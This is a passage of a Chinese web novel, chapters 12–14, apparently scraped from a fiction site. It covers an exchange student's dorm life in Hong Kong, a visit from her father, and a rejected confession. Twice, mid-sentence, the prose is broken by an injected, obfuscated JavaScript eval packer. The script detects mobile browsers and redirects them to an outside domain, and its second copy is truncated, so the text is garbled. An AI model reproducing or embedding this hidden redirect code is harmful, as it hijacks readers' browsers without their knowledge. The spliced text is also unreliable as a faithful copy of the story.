他给她发消息,才发现自己已经被她拉黑。 他这才意识到,他除了知道她一个名字,其余的皆一无所知。 她就这样在他的生命里短暂出现,又彻底消失了。 就在昨天,他还以为属于他的港岛的春天终于来临了呢,没想到一眨眼的功夫,就春逝了。 12. 第 12 章 方太初已经连续三个星期凌晨一点以后才能入睡了,她感觉再这么下去,用不上半年,她就能提前去见她太奶了。 转念一想,她太奶还是说朝语的,也不知道凭她的那点三脚猫的水平,能不能顺利跟她老人家接上头。 又是一个黑色星期五,小初正目光空洞地看着天花板发呆,忽听得整栋大楼轰然一声巨响,吓得她一下就从床上坐了起来。 恰逢室友林佳宜推门进来,见她一脸惊恐模样也有些不忍:“太初,我看要不然你就找房子搬出去住算了,你对声音这么敏感,这么下去也不是办法。” 小初哪还顾得上这个,只抓着她急急问:“你刚刚有没有听见老大一声响?我想知道是我幻听了还是真的。” 林佳宜被她逗笑:“放心好啦,是真的,他们刚刚好像不小心把一个什么柜子给弄倒了。” 小初咬牙切齿,“他们这帮local生到底有完没完?每天这么闹,一点公德心都没有吗?” 林佳宜叹口气:“谁让我们俩倒霉,被学校塞到这男女混住的本科宿舍楼来了。他们有那个什么宿舍文化来着?飞升是吧?” 小初笑:“姐姐,你是不是我们大陆的仙侠剧看多了?” 跟她一样,林佳宜是从台大来参加国际项目的,大概因为两人都是交流生,所以才被学校分配在了一个二人间宿舍,只不过,她是临床医学的。 其实能申请到宿舍就已经算学校对她们这种交流生的特殊照顾了,听说还有好多学生申不上只能被迫出去租房,香港这地寸土寸金的,租房又是一笔不小的开销,并不是所有家庭都能承担得起。 林佳宜比她大了三岁,性格温柔凡事都不太计较,极好相处,要不是因为这个,小初恐怕连今天都坚持不到。 小初学她的台湾腔,“他们那个叫仙制啦,参考南韩的前后辈文化。” “哦,对,反正就和修仙差不多嘛,都要熬资历,熬过了就能飞升。他们好像还挺以这样的hall文化为傲的,还好不关我们non local的事。”林佳宜神神秘秘拿出一只玻璃瓶子来,问小初:“喝吗?” 小初问:“什么东西?” “劣质红酒。”林佳宜笑,“越劣质,醉得越快,醉了就可以好好睡一觉了,反正明天没课。” 小初有些犹豫:“你可别喝死我。” 林佳宜温柔摸摸她的头,眨眨眼,“真有事我救你,你忘啦,我可是专业的。” 门外又传来一阵喧哗声。 “你最好能救。”小初心一横,拿过自己的杯子来,管他呢,反正早晚都要见太奶。 一口酒下肚,小初就蹙起了眉,这个粗糙的口感,这突兀的酸度,这刺鼻的气味,果然劣质。 林佳宜说:“你慢点,陪我喝小半杯就好。”话虽然这么说,却自顾自灌了半杯下去。 饶是小初再后知后觉,也明白她这大概率是有心事了,赶紧劝道:“慢点,我出事你能救我,你要是出了什么事,我可没有急救证。” 急救证三个字一出口,小初就陷入了一阵小小的恍惚之中。 不自觉想起了飞机上那人半跪在地上不小心喷薄在她小腿上的呼吸。 她赶紧又呷了一口红酒下去,以防自己再有空想这些有的没的。 “佳宜,为什么你们那儿那么喜欢给女孩取这个名字?” 林佳宜失笑:“你认识几个佳宜啊?” “反正一提起佳宜,大家脑子里浮现的都是一个温柔坚韧的美人。” “这个就叫赋魅,你看我,不就不是美人?”林佳宜又大大喝了一口酒。 “林医生,不要过分谦虚!” 林佳宜说:“佳宜,不就是宜室宜家?只不知道宜的是谁的室谁的家罢了。我还有个姐姐叫蕴慈,是不是听上去也很温柔?” 小初点点头:“是。那姐姐现在在哪呢?” 林佳宜指了指天花板。 小初没懂:“她就住我们楼上?” “我说的是天堂,今天是她的祭日。” “啊?”小初吓得差点没从椅子上跌下去。 “没事吧?”林佳宜一把拉住她,“抱歉!我倒忘了你不像我天天跟人的肌肉骸骨打交道早习惯生死了。” 小初摇摇头。 林佳宜摸了摸她的头发,笑容温柔:“方太初,你是个幸福的人。” 小初不敢当,只说:“也……也有烦心的事。” “没经过生死的人,就是幸福的。” 这句话说完,两人都陷入了沉默。 然后各自喝完了杯子里的酒。 走廊里仍然笑闹不止。 小初问:“所以他们到底在闹什么?” 佳宜笑:“说出来怕你忍不住出去看。” “我好奇心没你想得那么重。” “事关你的死对头Wendy朱。” 小初一下来了精神:“重点说说这个部分!” Wendy朱,法律系本科大二在读的Local生,倒也不是什么大人物,只不过小初和佳宜倒霉,刚好宿舍就在她隔壁而已。 本来呢,按照惯例,Local和non Local一向是各玩各的井水不犯河水的,虽说小初对这位朱小姐的第一印象就不太好,但那也只是一件小事而已,还没到值得她方太初放在心上的程度。 那是她第一天入住,刚爬完好长一个大坡,几乎废掉半条命才把她那个一半都是书的超重行李箱运上楼来,正对着那间只有几平米的窄旧宿舍发着呆。 她那会儿其实心情就已经有点沮丧了,结果还没等她沮丧完,就听见身后一阵带着撒娇音的笑声,像是谁在打电话,然后一个还没来得及被阿姨收走的垃圾桶就被踢倒在了门口,垃圾洒了一地,跟什么特别的欢迎礼似的。 事发突然,又很巧合,对方似乎也没想到隔壁房间里刚好有人,还被抓了个现行,视线对上去的那一刹,双方都有点尴尬。 怔愣片刻后,小初念着对方可能也是无意的,就说了句:“没关系,你去找阿姨借一下工具,收拾一下就好了。” 她的声音也不知道是有什么神奇功效,对方听了也不继续僵在那了,也不惜字如金了,反而冷哼一声送了她一个白眼,很快扬长而去。 最后还是小初自己找阿姨收拾的卫生。 这事儿过去之后倒是安静了几天,但也不知道怎么有天大半夜,这位朱小姐突然来狂敲她们宿舍的门,当时她和佳宜都快睡着了,房间里灯都关了,小初也不知她是意欲何为,只能惺忪着眼睛去给对方开门。 然后她才明白,原来是这Wendy朱听见了有人大晚上不睡觉搬桌子的声音,就认为是她们干的,上来不由分说就一顿粤语夹英文的疯狂输出。 小初已经被他们吵得一个多星期没睡好觉了,精神已经处于崩溃边缘,还没等她说完,就一把扯着她的领子把她请了进来,顺便让她撩开她那长达二十四英寸的假睫毛,好好看看这房间里的人都在干嘛,把睡得半梦半醒的佳宜吓得当场尖叫起来,差点响彻一整栋楼。 这件事最后以她们双方分别给对方道歉结束。 从此两人就结下了梁子。 具体表现就是小初她们宿舍楼门口时不时就会有不明垃圾出现,偶尔还有往他们门上贴辱骂便利贴的,每次的字体和内容还不一样,Wendy朱向来在大一新生那边吃得极开,小初猜着这事儿肯定和她脱不开关系。 但是因为没有证据,她也拿她没什么办法。 说实话,她一直没搬出去,等的不就是她朱小姐倒霉的这一天嘛,所以催着佳宜赶快说,“她到底怎么了嘛!” 佳宜忽而失笑:“她好像是想去参选明年的HK小姐,也不知她私下跟谁说了,就被传出去了,这会儿,那帮人正起哄让她做竞选宣言呢。还有更坏心的,回去扯了个粉红色的窗帘过来,给她围了身礼服。” 小初尽管心里有点痛快,但还是蹙了蹙眉:“这真的不算霸凌吗?” “要真细究,肯定也算的啦,但是一般没人会细究的,玩闹一场就过去了。” 小初眼底滑过一丝慧黠,拉住佳宜的手:“走,看看去。” 佳宜却有点为难:“那边都是Local生,我们去……会成为众矢之的吧?” “怕什么,咱们又不说话。看看不犯罪吧?朱小姐要是连这点心理素质都没有,那也别选什么HK小姐了,到时候网友的嘴可比我们俩欣赏的目光毒多了。” 佳宜实在没忍住 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小初深以为然,“还多亏了那条粉红色窗帘了,我看她里面裙子那么短,闹太大肯定要出丑。”然后又忍不住皱起眉,“佳宜,你这酒在哪买的,以后别买了,是真的难喝。” 佳宜笑:“小姐,我是靠妈妈卖蚵仔煎出来念书的,有的喝就不错啦。” 小初愣住,并很快歉然地抿了抿唇,“对不起啊,我不知道。” “你神经啊,没事道什么歉。” 小初却仍然觉得过意不去。 她承认她从小到大物质条件都比较优渥,但这并不代表,她对和她不同处境的人,完全没有同理心。 愣了一会儿神,她突然又觉得没意思了,正想拉着林佳宜回宿舍,不想那群人又提议让Wendy朱和一个男生搭戏模仿某部电视剧的片段,男生演出轨被抓现行后气急败坏的老公,女生演精神受创歇斯底里恨不能跟对方同归于尽最后却又心软原谅了渣男的老婆。 本来这段戏也没什么的。 只是两人也不知怎么演的,演着演着就一块摔到沙发上去了,男生一整个覆在了女生的身上,窗帘布脱落,女生的裙底一下子曝光在众人面前。 这场景谁都没有料到,Wendy自己也慌了,想爬起来却不得力,她身上的男生也不知是故意的还是演上了瘾,还在说台词,并作势亲下去,“老婆,我错了,你原谅我好不好,我对那个女人没兴趣的,都是她勾引我。” “喂,你走开啦!”Wendy用力推男生。 男生亲在她的脖颈上:“我知道你是爱我的。” 这画面要真在拍戏,导演都得清场,小初一阵不适,蹙起了眉。 众人却仍在起哄,拍照。 Wendy急了,用粤语大喊:“学长,先起来啦!” 男生不动。 小初终于忍不了了,也没管一只手还拎着酒瓶呢,上去就揪住了男生的领子,“请你尊重一下女生好吗?” 她的普通话太标准,导致现场忽地静了音。 他们这种活动一般都不邀请non local的,她是谁啊,谁让她来的? 小初也没管,继续拎着那男生的领子,嘴里说着“阿西”一把就把他提了起来。她身高本来就高,那男生才到她眉毛,又见她酒气冲天一副不好惹的样子,动了动嘴唇,到底没说话。 Wendy终于爬了起来,只是一见救她的人是小初,脸色一下就变了,连句多谢都说不出了。 “真够没用的。”小初瞪她一眼,也没再说什么,拉着佳宜就上了楼。 半小时后,这段视频就被分享到了学生社群里。 再半个小时之后,某个正生无可恋的人忽地从床上起了身。 小初却对此浑然不知,因为她回到宿舍倒头就睡着了。 林佳宜的劣质酒,后劲是真的足。 第二天醒来已是中午,宿舍里只剩下她一人。 外面的世界没有风,似是连阳光都停止了流动,小初忽地感到了寂寞。 她从没像林佳宜那样为钱和前程发过愁,为什么也并没有她说得那样幸福呢? 好在没一会儿,她的电话就响了。 方协文说,他来香港出差,顺便来看看她,人已到她楼下。 13. 第 13 章 方太初几乎是用奔跑的速度下的楼,到楼底之前还深吸口气平复了一下情绪,但当她看到她爸那张写满担忧的脸时,心底的酸涩还是没控制住,下一秒,就已经楼住他的脖子大哭起来。 她哭得太伤心,倒把她爸吓得不轻,一直拍她的后背安慰着:“方大小姐怎么了这是,受什么委屈了?” 小初极力忍住眼泪,却忍不住抽噎,“没事,就是想家了,姥姥姥爷他们都好吗?” “都好,就是想你。”方协文看了眼闺女身上的卫衣和牛仔短裤,更加心疼,“你这穿的什么啊?虽说炫富不好,但咱也没必要装穷吧?漂亮女生朴素过了头,还不被同学欺负死?” 小初简直被她爸气笑:“哪有你说得那么夸张!”声音逐渐低下去:“同学们都挺友善的。” 方协文冷哼,“你妈还说让你尝尝人间疾苦也挺好的,我就没看出哪好来,告诉爸爸,是不是有人欺负你?那人是谁,我给你出气。” 小初这才注意到他斜后方的秘书和保镖,他自己是一贯的亦方男模水准也就算了,还搞这么大一个阵仗,是真不怕她同学误会她钓有钱老男人啊! 想到这儿的她瞬间有些慌乱,好在她左右瞧了瞧,周边并没有她认识的人。恍惚间感觉刚刚有个什么人的身影很熟悉,待她再仔细去看,又什么都没有了。 她摇头苦笑,看来下次是真的不能再喝劣质酒了,回头给她喝出脑雾来,也别想着博士还能不能毕业了。 “真的没有啦!”小初挽住她爸的手臂,“走啦,方总您来看我,请我吃点好的不过分吧?” 方协文说:“请吃饭有什么,我还有更重要的事要和你说呢。” 两人上了他不知哪来的挂港牌的迈巴赫,轰然而去。 直开到中环找了家实在有些豪华过了头的餐厅坐下来,方协文才从包里拿出一叠文件来递给小初:“给小方总汇报一下数学研究所的施工进度。” 小初有些惊讶于她爸的执行力,“竟然这么快就开工了?” “都决定好的事还犹豫什么?” 小初点点头,认真翻阅起手里的资料,里面都是关于她喜欢的那个装修风格的具体实施内容,以及相关材料和设计的报价。 方协文说:“以后科技公司想顺利从模仿阶段过度到自主创新,突破口就在数学上了。” 小初瞥她爸一眼:“方总的想法是没错,只是你别回头招一帮PHD去给你写 Python就行,反正我不干。” 方协文给她闺女倒了杯茶:“你放心,你那编程水平,你敢干,我还不敢用。” 小初咬咬牙:“嘿!” 菜很快就上齐了。 方协文打开微信和远在北京的黄亦玫视频通话,一个四十几岁的男人,看见老婆还能笑得那么不值钱,小初表示很佩服。 然后她就一边努力填饱自己一边看他们夫妻肆无忌惮地在她面前秀恩爱。 一个月来所遭受的一切,所有的委屈,都在他们的言语间一点点蔓延出去,取而代之的是满满的安全感和暖意。 她突然觉得自己又可以了,至少还能再挨几个月local生的大吵大闹。 “怎么样黄亦玫,羡慕吗?我跟你闺女坐一块吃饭呢。”方协文只照了一下小初,就把摄像头转向窗外美丽的海港,“真遗憾,你没能在这。” 黄亦玫说:“有什么好羡慕的,我们公司下个月要去香港策展,我想见方小姐还不是随时的事?” 小初停下咀嚼,满脸惊喜:“妈,真的吗?” “当然!还有个好消息,你干妈谢令妤也要来港拍电影,到时候你愿意的话,可以跟我一块去现场探班。” “太好了!” 方协文却有点酸:“你也不用一直在香港陪着吧?之前还说让她独立生活一段呢。” “到时候再说,具体怎么安排还没定呢。” 挂掉视频,小初问方协文:“爸,能问问你是怎么保持几十年一如既往爱一个人还能这么热烈的吗?” 方协文说:“人家是女神,女神都是这个待遇。” 小初不信:“那你们当初为什么要离婚?” 方协文瞪她一眼:“我要是早知道跟她离婚会那么痛苦,之前打死我都不会离的。” 小初说:“不都说男人的爱很短暂吗?就算是面对女神,一辈子也会腻的吧?” 方协文这下是真的不高兴了,“你小小年纪脑子里整天都在想什么?我当初要是像你似的干什么都把结果往坏了想,现在就没你了。”又说:“再说,每个人不都应该有点自己执着和热爱的东西吗?不然一辈子大几十年得多空虚?人太空虚了人就容易堕落,尤其我这种有点钱的,同理,你也是。” 小初说:“关我什么事。” “你猜我和你妈妈为什么从不带着你出去社交,让你认识那些二代?还不是就因为有些人年纪轻轻就没有追求了,然后就跑偏了。方太初,香港不比北京,你要是敢在这边学坏,我打断你的腿。” 小初立刻没食欲了。 方协文又不经意问:“和姓叶那小子怎么样了。” 小初说:“哦,他倒是腿断了。” 方协文古怪看她一眼:“这可跟我没关系啊。” 小初不搭理他。 吃了饭,两人又去逛街。 方协文的风格就是一路买,看见什么都买,没一会儿就大包小包给她买了一堆,吃的用的玩的,还有一堆漂亮的衣服,还好后面有他助理跟着,不用小初自己拎。 “够了爸,我那宿舍就几平米,买多了要堆到楼道了。” 方协文只当没听见,又带着他去看珠宝,没一会儿就看中一款戒指,枕型红宝石镶钻的,一边看一边征求她意见:“这戒指你妈妈戴会好看吧?她手指又白又长,戴有颜色的珠宝是不是更适合一些?” 小初有些心不在焉:“好看是好看,就是比你去年在拍卖会拍的那一套差得有点远,几千万一下降级到几十万,我怕入不了黄女士的眼。” 方协文说:“你懂什么?那一套买了也在保险柜吃灰,平时哪那么多场合?这个就不一样了,买回去她明天上班就能戴上,然后洗手的时候就能想起我。” 小初摊摊手,表示你开心就好。 一直满脸堆笑陪在身边的销售人员这才露出一个恍然神色,感情这是女儿,不是小女朋友。 方协文问对方:“有没有便宜一点的手链,一两千的就行,给旁边这个眼光有点不好的,不然她戴得太贵了,她那个小男朋友该自卑了。” 销售人员缓缓露出一个问号来,然后笑:“对不起先生,还真没有。” 小初:“……” 从珠宝店走出来,方协文问小初,还有什么想买的没有。 小初想了想,说:“我想买个笔记本电脑。” 方协文有些疑惑,“买那个干什么?你的坏了?” “不是,送人。” 小初想起林佳宜天天捣鼓她那个一晚上要死机十次的破电脑来,莫名的心酸。 方协文的表情逐渐凝重:“你该不会是真爱上穷小子了吧?” 小初故意气他:“怎么呢?您当年不也是穷小子出身吗?自己淋过雨就不能给别人留把伞?” 方协文说:“不是你教我的,自己淋雨之后第一件事就是把全世界的伞撕碎吗?” “……”小初仔细回想了一下,“我说过这种话?” 方协文问:“所以到底送谁?” “我室友,一个很好的女孩子。” 方协文听了表情却更加凝重,半晌才说道:“送室友倒不是什么大事,只怕你这么做会给人家太大的心理负担。还有啊方太初,资本家要是生出良心来,这辈子会很痛苦的,你总不能把这世上所有人的苦难都背负到自己身上吧?” 小初默然。 方协文又说:“爸爸教你,真想背负起更多人,就努力做好企业,多给社会创造就业机会,多交税,让财富再分配去帮助更多的人。把这个当成奋斗的目标,你就不空虚了,这世界很复杂,你要先稳住你自己。” 小初心头一震,然后缓缓点了点头。 过了一会儿,方协文才说:“这样,咱们就买个电脑送她,你就说是客户送给你爸的,你用不着才给她用的。” 小初勾起唇,感激地看了她爸一眼:“行。” 回到酒店,小初已经累得不想说话了,昨晚醉酒的滋味还在,她只想睡觉。然后她就真的睡了过去,直睡到第二天日上三竿。 这一刻她突然就有点理解豌豆公主了,酒店的床的确好睡很多。 方协文有事忙,只发消息给她,问她要不要中午和他一块去吃商务会议酒店的标餐。 小初说不要,她还一堆作业没做呢。 方协文下午还要赶飞机回北京,也就没多说,只派了司机送她回学校。 回去的路上,小初突然想去山上吹吹风,就让司机换了路线,直奔新界。 只是她实在没想到,在这么偏远的地方也能碰见熟人,还是一个她并不怎么想在此刻看见,并且早被她微信拉黑沉入深海的人。 彼时,他正从一辆黄色的敞篷跑车里探出头来,笑意温柔,大声喊她的名字,“方太初!” 他的咬字发音很特别,小初一开始还以为自己幻听。 待她缓缓回过头去确认一切,瞬间陷入了恍惚,一颗心浮浮沉沉,竟一时不知是什么滋味了。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309759|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月没见,他憔悴了很多,眼睛比之前更深邃,下颌线也更清晰了。 “我在中环看见你上车,又不敢确定,就一路跟到了这,结果还真是你。”他笑着一步步走向她。 他倒坦诚! 小初看了司机一眼,指了指远处:“我跟我同学聊几句,你到那边等我就好。”又小声说:“回去别跟我爸乱说,免得他担心。” 司机点头,将车开走。 余萧弋只当没看见。 在她面前站定,两人对视了几秒,他才弯起唇,“我之前说了的,香港很小。” 小初也笑笑,“是挺小。” 他问:“你好吗?” “还好。”然后出于礼节,她也问他:“你呢?” 余萧弋不答反问:“你觉得呢?” 小初笑,面上一派云淡风轻,“看着还不错,车都换了。” 余萧弋的瞳孔骤然收缩了一下,然后他仰头看了看他们面前的山,问她:“你来爬山?” 小初说:“没打算爬。” “那么我们上去走走?” 小初犹豫地看他一眼:“不了吧,我怕你一生气再把我从山上推下去。” 余萧弋气急反笑:“我为什么要推你,你什么时候得罪过我?” 小初不答,只垂眸去揪路边的狗尾巴草。 余萧弋拉过她的手腕,“走吧,这个季节山上的风很舒服。” 手腕上传来的他掌心的温度让小初一阵心悸,下意识就想挣脱,但他没给她这个机会,拉着她几步就消失在了树的影子之后。 小初咬牙:“余萧弋,你也不怕我的司机过来打死你。” 他轻笑一声:“你不是只能在香港待七天吗?怎么滞留到现在,连私人司机都有了。” 小初说:“关你什么事。” “所以方小姐现在在何处高就?” 小初冷笑:“又关你什么事。” 余萧弋呼吸一滞:“你早说你喜欢这种有钱的,我勉为其难也不是不能装装样子。” 小初难以置信,忽地抬头看向他:“你什么意思?” “为什么拉黑我?” “我留给你的信写得还不明白吗?我们俩不是一路人,而我也不适合做朋友。” 余萧弋玩味地看着她:“哦所以,我是哪路人,方小姐你又是哪路人,你说说,我听听,看看这事还有没有办法转圜。” 在他的带领下,两人已逐渐离山脚有些距离。 山上的风的确很舒服,爬山的人不多,整条上山的小径上就只有他们俩。 小初停下脚步,这段时间来从他们这帮Local身上受的气一下子爆发开来,“我方太初是什么人为什么要跟你解释,你以为你是谁?至于你在我心里又是什么形象,我更无可奉告!我们俩只不过是擦肩而过的陌生人而已,你凭什么在我面前摆这副姿态?你该不会以为你帮了我一点小忙,我就要感恩戴德地仰望你吧?你们的优越感到底是哪里来的?” 余萧弋愣住。 小初接着说,越说语速越快:“还有,你那帮不知所谓一直炫富还歧视内地人的朋友真的很土,简直俗不可耐!能和这样的人整天混迹在一起,你又能是什么好东西?我方太初就算再缺朋友,这辈子孤独终老,都不想再看见你,你把手给我放开,要不然你不推我,我也要把你从这推下去,反正你没证人而我有!” 小初用力抽回自己的手,还没忘记又讽刺了一句:“余同学,你还是回去找你的Rebecca吧,至少她疼你还能送你跑车,别没事在我身上浪费时间,下次再在街上碰见,无论是中环,尖沙咀还是铜锣湾,你敢过来打招呼,我就把你扔海里喂鱼。” 小初说完转身就走,只是没想到下一秒身子已经被他掉转按在了树上,而后他越靠越近,眼神逐渐聚焦在她的唇上,小初吓坏了,整个人几乎都在颤抖,忘了呼吸忘了喊,只定定地看着他。 山间有风在流动,空气里都是草木摇曳时发出的碰撞声。 有些怦然,有些喜悦,有些不知所措。 好在他最后什么都没做,只无奈说了句:“Rebecca,是我亲姑姑,她的名字叫,余蓁蓁。” 小初被他的温柔之芒刺中,脸上的血一点点晕开。 然后又听他说:“我的那些朋友未必有你想得那么不堪,就算有,我也和他们不一样。你别忘了,我妈妈也是内地人。” 小初说不出话。 “方太初。”他的声音有点发颤,却也足够真诚,“我喜欢你,想从今天开始正式追求你,可以吗?” 小初瞪大眼睛。 他在说什么? 这个年代还有追人之前要先获得许可的男生吗? 14. 第 14 章 方太初长这么大,喜欢她的人很多她心知肚明,可真这样不顾一切站到她面前,敢直视她眼睛表白的,他余萧弋还是第一个。 也不知是北京男孩太矜持,还是香港男孩太自负。 要说她心里一点点动容都没有,那也是骗人。 她从来都不讨厌他,从飞机上他摘掉口罩的那一刻起,到他刚刚即便已经冲动到恨不得焚毁整个世界,却仍然克制了自己欲望那一刻止,她都没有讨厌过他。 可她是个学数学的,题目拿在手里的那一刻,解得出还是解不出,已经注定。不会的题,就算坐在那熬到考试结束,无从下笔还是无从下笔。 短短几分钟,她已经将他这道难题推演了一万遍,每一遍的结局都出奇的一致,她和他之间不会有任何未来。 首先,她只会在这里待几个月,而她和他还年轻,未来还有很多变数,她不谈异地恋,更不想浪费时间在一段没有结果的恋情上。 其次,她不敢说她已经忘了叶子瑜,在心里还有前任的前提下随意答应另外一个人的追求,是对自己的极度不尊重,更是对对方的极度不尊重。她早说过痛苦是不能代偿的,她不会也不想拿另一个人来疗情伤。 最后,南北差异太大,真相处起来,也会诸多矛盾,她和他从根本上,就是完完全全的两类人,强求也只会结苦瓜。 她不能因为一时的意乱情迷就不计后果,让自己陷入那样的进退两难中。 “不好意思啊,余同学,我暂时没有谈恋爱的想法,但还是谢谢你的青睐。”小初勉强笑笑,错身就走,“我得走了。” 余萧弋拦住她,看着要碎掉了,“为什么?” 小初忍住心痛,笑答:“我不喜欢你,你知道的,我已经有心上人了。” “那个姓叶的男的吗?我也没见他有多好。” 小初倏地看向他,“你竟去找过叶子瑜?” 余萧弋轻笑:“原来他叫叶子瑜。” “余萧弋,你越界了。”小初的眸色越来越冷。 “是,我承认。但他已是你留给我的唯一线索。” 小初默了默,还是没忍住问他,“他怎么样,看着有没有好一点?” “你放心,我去的那天,她女朋友正准备推他去医院做复查,除了不能走路,其他一概都好,人家可能确实比你会照顾人。” 小初瞪他一眼。 余萧弋轻哼,“你还不服气?你要么好好看看经过你手的我,在一个月时间内变成了什么样?他只是断了一条腿,我可是差点没了半条命呢。” 小初有些心虚:“你自找的。” 他点头:“的确是我一厢情愿。” 小初不知道该说什么了。 然后就听见他又说,“不过,你倒是没爱错人,叶同学没有向我透露你的任何消息。”他顿了顿,“你猜,他是想保护你,还是占有欲在作祟,不想别人染指你?” 小初呼吸一滞,真是没想到,他竟还有如此阴阳怪气的一面。 “应该就是占有欲在作祟吧。”她忽而一笑,笑得极为明媚,“你知道的,我和他也不是一两天的情分了,不像我跟你。” 小初说完这句话,就看见他的肩膀半塌了下去,像是全凭意志力才撑在那里了。 “方太初,你的心到底是什么做的?” 山上的风并不大,亚热带和热带的过渡区没有很明显的秋天,可小初不知怎么就突然感觉很冷,入目之处皆一片萧索。 “钢筋水泥。”她最后看他一眼,“以后小心点,再别见着个稍微漂亮点的女孩子就说喜欢人家,不然我怕你这么脆弱,没两次就真没命了。” 说完这句话,她就大踏步向山下走去。 余萧弋在她身后喊:“就一点都不考虑我吗?” 小初挥挥手,没回头。 到了车上,她就伏了在靠枕上,眼泪无声无息地落下来。 她从不知道青春有这么痛,成长有这么痛。 她到底什么时候才能一觉醒来就已经到了三十五岁,心智坚韧,事业有成,再不会被任何人的任何情绪或意见左右,只做她自己? 司机问:“小姐,我们现在去哪里?” 小初瓮声瓮气,浑身发冷:“回学校。” 司机应声,再不多发一言。 小初欣赏他们的专业性。 回到宿舍,时间已经不早。 小初将大包小包的购物袋扔在床边的地上。 林佳宜正在用她那个隔二十分钟半个小时就要死机一次的老旧电脑复盘她的实验数据。 见她一脸失魂落魄,她立刻停下手中的事务走上前来,关切地问道:“你怎么了太初?” 小初伏在枕头上,看着她一边哭一边笑,想来画面很惊悚,“佳宜姐,你吃饭了吗?” 林佳宜摸了摸她的额头:“你怎么这么热,是不是有什么不舒服?该不会就是那天的红酒把你喝坏了吧?” 小初摆摆手,“没有的事。” 林佳宜却不放心,取来一支体温计放到她腋下,嘴里碎碎念:“早知道就不叫你陪我喝酒了。” 小初突然问:“佳宜姐,你姐姐是怎么走的?” 林佳宜神色一顿,再抬头,眼睛已经有些泛红,“她被她前夫家暴。” 小初的眼泪不停不停地落下来,“那她没反抗吗?” “反抗有用吗?”林佳宜没有哭,反而勾了勾唇,“女人好像只要遇到一个男人,悲剧就开始了,所以,我不会结婚,更不会生孩子。” 小初说:“男人为什么总是只想着他们自己?” 林佳宜从小初腋下拿出体温计,惊呼道:“太初,你都烧到三十九摄氏度了哎!还没问你昨晚发生什么事,怎么一夜都没回来,是不是着凉了?” 小初说:“没着凉。” 她只是旧疾复发了而已,从落地香港感受到那一刻的潮湿天气起,她就该大病一场了。 叶子瑜说她很快就会痊愈的,她笑,她连她的病症在哪里都不知道,该怎么治疗,又该怎么熬到痊愈? 佳宜不放心,还是端着脸盆出了宿舍门,看着是去帮她拧湿毛巾去了。 小初闭上眼睛,脑子里放电影一样却都是余萧弋深情而炽热的眼神以及那个未遂的吻。 她忍不住想,若他真吻下来,她会怎么样,是索性享受,还是赏他一巴掌。 没一会儿,宿舍门就被人从外面推开了。 小初没睁眼,只说:“佳宜姐,你动作真够快的,不过我想我没事,睡一觉就好了。” 可耳边传来的却不是佳宜的声音,而是另一个很不讨她喜欢的声音,普通话像是借别人的嘴说出来的,“方太初,你这么一个好斗公鸡一样的人,也会倒下去啊。” 小初倏地睁开眼。 Wendy朱,朱慧雯小姐,已经将一个餐盒放在她床头的桌子上,说话的样子依旧那么无礼,连她的眼睛都不看,“这个呢,是我们这边一个小吃,叫油角仔的,我从家里带来,给你和林佳宜尝尝的。” 小初跟见了鬼一样瞪着她。 朱慧雯说:“你怎么了,脸干嘛是红的,嘴唇又那么白,你不是有力气把一个大男人提起来吗?现在又装什么林黛玉。” 小初呼吸起伏,“你一定在油角仔里下毒了。” “本来是那么想的,不过我这个人向来恩怨分明的,你前天救了我,我还是要和你说一声谢谢的。” 小初冷笑:“你不怪我坏了你的好事我就谢天谢地了。” “你当我傻的啊!”朱慧雯看上去很崩溃,“他长得那么丑,要不是因为他是学长,我早扁他了!” 小初嘴角一抽。 林佳宜推门进来,也被突兀出现在房间里的朱慧雯吓了一跳,语气有点结巴,“Wendy?你,你有何贵干?跟你讲,方太初生病了,我们可没精力招待你。” 朱慧雯瞪她一眼,“谁要你招待?我是给你们送油角仔吃的。” 林佳宜说:“油角仔是什么?听起来就很上火,你觉得她现在适合吃这个吗?” 朱慧雯有些生气,抬腿就走,“反正心意我带到了,吃不吃随你们,不吃就扔掉好了。” 说完她就出了门。 只剩小初和林佳宜面面相觑。 “她突然抽什么风?” 小初说:“大概良心发现了。” 林佳宜把湿毛巾放在小初额头上,温柔对她讲,“我先帮你物理降温,不严重咱们就尽量先不吃药,如果明早加重,我再陪你去医院。” 小初感激地抓过她的手,“佳宜姐,你好像我妈妈。” 惹得林佳宜一身鸡皮疙瘩,“你少来啊,我说了我不生孩子的,哪来的机会当妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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照片里的余萧弋半张脸都遮在口罩之下,若是不熟悉的人,未必会去注意他那双充满故事性的眼睛。 可是很可惜,她第一眼见到的,就是这个模样的他。 这世界还真小。 “佳宜姐,我要惨了。”小初虚弱地说了一句。 “到底怎么了?”林佳宜重启了一下她那个破电脑,听着快哭了,“我也要惨了,不知道刚刚调好的数据有没有保存。” 小初这才想起电脑的事,赶紧把新买的笔记本递给她,然后不出所料林佳宜说什么都不肯收。 最后小初实在被拉扯得头疼欲裂,只好说,“姐姐,我真不是专门花钱给你买的,你要不用,我就拿到二手论坛上卖掉了,那要不你就按照二手价买走好了,也不用现在还我,等你将来发达了,我去台北找你玩,你请我吃喝玩乐就好了。” 林佳宜这次是真哭了。 然后她用力抱住小初,说了句,“好,一言为定。” 小初说:“不过得先等我活到那个时候再说,我现在得赶作业了。” “啊?现在吗?”林佳宜看了看手表。 “嗯,现在。”小初垂了垂嘴角,“不然准要被Cathy那帮人骂free rider了。” 小初最后几乎熬了个通宵才把作业完成,完成的结果就是她又在宿舍躺了两天。 有一天她睡醒后太饿,竟抓着朱慧雯的油角仔把自己喂了个半饱,然后就是无尽的自我厌弃,她这也算人在屋檐下不得不低头了,连死对头投来的毒都开始大快朵颐了。 这场病来的莫名,却又如此汹汹,她泄了力,不知该如何抵抗。 还好有林佳宜。 到了第三天,宿舍来了位不速之客。 他进门时,小初正坐在床头吃药,一见是他,差点被一粒药呛死。 